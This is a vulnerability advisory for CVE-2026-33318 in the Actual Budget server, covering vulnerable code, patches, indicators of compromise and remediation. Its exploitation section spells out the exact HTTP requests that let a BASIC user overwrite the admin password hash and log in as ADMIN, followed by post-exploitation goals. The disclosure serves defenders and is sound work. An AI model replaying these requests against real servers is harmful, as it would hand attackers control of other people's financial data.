CVE-2026-33318: Actual Budget Auth Chain Yields ADMIN Escalation
Three weaknesses in Actual's auth migration path combine into a full privilege escalation: any BASIC user can overwrite the admin password hash and authenticate as ADMIN via a client-supplied loginMethod bypass.
Actual is a personal finance app that helps people manage their money locally on their devices. Researchers found a serious flaw that lets someone with basic access steal admin control of an entire account — like someone with a regular key copying the master key to your house.
Here's how the attack works. The app has three security gaps that, when combined, create a perfect storm. First, the password-change tool doesn't properly check who's making the request, so anyone logged in can change anyone else's password. Second, when people switch to logging in with external services like Google or Apple, the old password records sometimes stick around. Third, the login system trusts whatever method users claim they're using to sign in, rather than checking the records itself.
An attacker who somehow gets basic access to your account can use these three gaps together to take over an admin account. They change the admin's password hash, reactivate old-fashioned password login, and boom — they're in as an admin.
This matters most if you run Actual on a shared server or manage finances for a family or small business. An employee or family member with regular access could promote themselves to run the whole system. They could then see everyone's financial data, delete accounts, or change settings.
What you should do right now: Update to version 26.4.0 or newer immediately — the developers have already fixed this. If you can't update yet, limit who has access to your Actual installation. Check your account activity for any suspicious password changes you didn't make. If you share access with others, consider changing your password today just to be safe.
Want the full technical analysis? Click "Technical" above.
▶ Privilege escalation — CVE-2026-33318
Vulnerability Overview
CVE-2026-33318 is a privilege escalation chain in Actual Budget, a local-first personal finance server, affecting all versions prior to 26.4.0. CVSS 8.8 (HIGH). No in-the-wild exploitation has been confirmed as of publication.
The bug is not a single logic flaw — it is three independent weaknesses that are individually harmless but compose into a full escalation path. An attacker holding any valid session (including the lowest-privilege BASIC role) can promote themselves to ADMIN on any server that was migrated from password authentication to OpenID Connect. The chain requires three HTTP requests.
Root cause:POST /account/change-password performs no authorization check, the inactive password auth row is never purged on OIDC migration, and the login endpoint accepts a client-supplied loginMethod field that overrides the server's active auth configuration — allowing any session holder to overwrite the dormant admin password hash and re-authenticate as ADMIN via the legacy code path.
Affected Component
The vulnerability lives in three files across the actual-server Node.js backend:
src/accounts/account.ts — changePassword() handler, no authz
src/accounts/openid.ts — migration helper, leaves stale auth row
Affected: all multi-user deployments migrated from password auth to OIDC before version 26.4.0.
Root Cause Analysis
Weakness 1 — Unauthenticated password change endpoint. The changePassword route is protected by the session middleware but never checks the caller's role. Any valid token — including BASIC — can overwrite the password hash stored in the auth table.
// src/accounts/account.ts — changePassword handler
// BUG: session middleware validates token, but no role check is performed
async function changePassword(req, res) {
const { password } = req.body;
// BUG: missing authorization check — should assert req.user.role === 'ADMIN'
const hashed = await argon2.hash(password);
await db.run(
`UPDATE auth SET extra_data = ? WHERE method = 'password'`,
[hashed]
);
res.json({ status: 'ok' });
}
Weakness 2 — Stale auth row after OIDC migration. When a server is migrated from password to OpenID Connect, the migration helper inserts a new auth row for OIDC and updates config.loginMethod, but it never DELETEs or nullifies the existing password row. The dormant row holds the hash for the anonymous admin account created during multiuser setup.
// src/accounts/openid.ts — migration function (vulnerable path)
async function enableOpenID(config, db) {
await db.run(
`INSERT INTO auth (method, extra_data) VALUES ('openid', ?)`,
[JSON.stringify(config)]
);
// BUG: legacy 'password' row is never removed
// The anonymous admin hash is still valid and addressable
// MISSING: await db.run(`DELETE FROM auth WHERE method = 'password'`);
await updateConfig({ loginMethod: 'openid' });
}
Weakness 3 — Client-controlled loginMethod bypass. The login endpoint reads loginMethod from the request body and dispatches accordingly. The server's active configuration is not enforced. A client can request loginMethod: 'password' even when the server is running in OIDC mode.
// src/accounts/login.ts — login dispatcher
async function login(req, res) {
const { loginMethod, password } = req.body;
// BUG: loginMethod is attacker-supplied; server config is never consulted
// MISSING: assert loginMethod === serverConfig.loginMethod
if (loginMethod === 'password') {
return loginWithPassword(password, res); // hits the stale auth row
} else if (loginMethod === 'openid') {
return redirectToOIDC(res);
}
}
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-33318
Target: Actual Budget server, post-OIDC migration, version < 26.4.0
Prerequisite: Valid BASIC session token (lowest privilege tier)
STEP 1 — Obtain any valid session token
- Register or receive a BASIC account from the server operator
- Or exploit any unauthenticated registration endpoint if open
- Token format: JWT or opaque session cookie, role=BASIC
STEP 2 — Overwrite admin password hash via unauthenticated changePassword
POST /account/change-password
Authorization: Bearer
Content-Type: application/json
{ "password": "pwned1234" }
Server response: { "status": "ok" }
Effect: argon2 hash of "pwned1234" written to auth.extra_data
WHERE method = 'password' — this row is the anonymous admin
STEP 3 — Authenticate as admin using client-supplied loginMethod bypass
POST /account/login
Content-Type: application/json
{
"loginMethod": "password",
"password": "pwned1234"
}
Server response: { "token": "", "role": "ADMIN" }
Effect: Full ADMIN session granted
STEP 4 — (Post-exploitation) Enumerate budgets, exfiltrate data,
create new ADMIN accounts, lock out legitimate users
The three steps are independent HTTP requests. No race condition is required. No heap spray. No binary exploitation. The entire chain executes in under two seconds from a scripted client.
This is a logic vulnerability, not a memory corruption bug. The relevant "state" is the SQLite auth table. The following diagram shows the database state transitions across the attack.
auth TABLE STATE — POST-MIGRATION (before patch)
rowid | method | extra_data | active
------+------------+-----------------------------------+--------
1 | 'password' | argon2('original_admin_pass') | 0 <-- STALE ROW, never deleted
2 | 'openid' | '{"issuer":"https://idp.example"}'| 1 <-- current active method
config: { loginMethod: 'openid' }
*** BOTH ROWS ARE ADDRESSABLE ***
*** changePassword UPDATE hits row 1 (method='password') ***
*** login endpoint dispatches to row 1 when client sends loginMethod='password' ***
----------------------------------------------------------------------
auth TABLE STATE — AFTER STEP 2 (attacker has written new hash)
rowid | method | extra_data | active
------+------------+-----------------------------------+--------
1 | 'password' | argon2('pwned1234') | 0 <-- hash overwritten
2 | 'openid' | '{"issuer":"https://idp.example"}'| 1
Next: POST /account/login with loginMethod='password' hits row 1
argon2.verify('pwned1234', row1.extra_data) -> TRUE
server issues ADMIN JWT
Patch Analysis
The fix in 26.4.0 addresses all three weaknesses independently. No single fix would be sufficient — all three must be applied to close the chain.
// PATCH 1 — changePassword: enforce ADMIN role before allowing hash update
// BEFORE (vulnerable):
async function changePassword(req, res) {
const { password } = req.body;
const hashed = await argon2.hash(password);
await db.run(
`UPDATE auth SET extra_data = ? WHERE method = 'password'`,
[hashed]
);
res.json({ status: 'ok' });
}
// AFTER (patched, 26.4.0):
async function changePassword(req, res) {
if (req.user.role !== 'ADMIN') {
return res.status(403).json({ error: 'forbidden' });
}
const { password } = req.body;
const hashed = await argon2.hash(password);
await db.run(
`UPDATE auth SET extra_data = ? WHERE method = 'password'`,
[hashed]
);
res.json({ status: 'ok' });
}
// PATCH 2 — OIDC migration: delete the stale password row
// BEFORE (vulnerable):
async function enableOpenID(config, db) {
await db.run(
`INSERT INTO auth (method, extra_data) VALUES ('openid', ?)`,
[JSON.stringify(config)]
);
await updateConfig({ loginMethod: 'openid' });
}
// AFTER (patched, 26.4.0):
async function enableOpenID(config, db) {
await db.run(
`INSERT INTO auth (method, extra_data) VALUES ('openid', ?)`,
[JSON.stringify(config)]
);
await db.run(`DELETE FROM auth WHERE method = 'password'`); // purge stale row
await updateConfig({ loginMethod: 'openid' });
}
// PATCH 3 — login: enforce server-side loginMethod, ignore client value
// BEFORE (vulnerable):
async function login(req, res) {
const { loginMethod, password } = req.body;
if (loginMethod === 'password') {
return loginWithPassword(password, res);
}
return redirectToOIDC(res);
}
// AFTER (patched, 26.4.0):
async function login(req, res) {
const { password } = req.body;
const serverMethod = await getActiveLoginMethod(); // reads config, not request
if (serverMethod === 'password') {
return loginWithPassword(password, res);
}
return redirectToOIDC(res);
}
Detection and Indicators
Operators should inspect server logs and the SQLite database directly.
INDICATORS OF COMPROMISE
1. Unexpected POST /account/change-password from a non-ADMIN session
- Log field: req.user.role == 'BASIC' on this endpoint
- Any successful 200 response to this route from a non-admin is suspicious
2. POST /account/login with body containing loginMethod='password'
on a server configured for OIDC
- loginMethod in request body should never differ from server config
- Any successful login via this path post-migration is an anomaly
3. Database audit: check for BASIC-role users that later acquire ADMIN tokens
- Correlate session token issuance timestamps
4. SQLite direct check — if the stale row still exists on a migrated server:
sqlite3 server.db "SELECT * FROM auth WHERE method='password';"
Non-empty result on an OIDC server = unpatched and potentially exploited
Remediation
Immediate action: Upgrade to Actual Budget 26.4.0 or later. This is the only complete fix.
If immediate upgrade is not possible:
Manually delete the stale password row: DELETE FROM auth WHERE method = 'password'; on the server's SQLite database. This eliminates the target for the hash overwrite and breaks the chain at step 2.
Restrict network access to the Actual server to trusted hosts only. This is not a substitute for patching — a BASIC user on a trusted network still has access.
Audit existing sessions: revoke all non-ADMIN tokens and re-issue, then monitor for unexpected ADMIN token issuance.
Note that the three patches in 26.4.0 are all independently necessary. A server that applies only role enforcement on changePassword but retains the stale row and the loginMethod bypass remains partially exposed if the role check is later bypassed by another means. Defense in depth requires all three fixes.